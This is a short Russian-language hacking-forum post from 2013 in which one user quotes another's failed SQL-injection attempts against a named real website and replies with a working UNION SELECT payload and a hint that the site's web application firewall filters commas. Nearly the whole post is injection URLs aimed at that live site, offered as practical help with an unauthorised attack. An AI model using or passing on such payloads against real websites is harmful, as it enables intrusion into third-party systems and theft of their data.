21.04.2013, 22:27
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами:
9176038
Репутация:
8
|
|
Сообщение от Always
http://odnadoma.ru/?part_id=500 ORDER BY 10 -- TRUE
http://odnadoma.ru/?part_id=500 ORDER BY 1 -- FALSE
http://odnadoma.ru/?part_id=500 UNION SELECT 1 -- ОТСОС
В ЧЕМ ПРОБЛЕМА?
Просто нет вывода
http://odnadoma.ru/?part_id=500+and+1=2+union+select+unhex(hex(123))+--+
UPD. Тут WAF прикольный кстати )
Фильтруются запятые, учти это.
|
|
|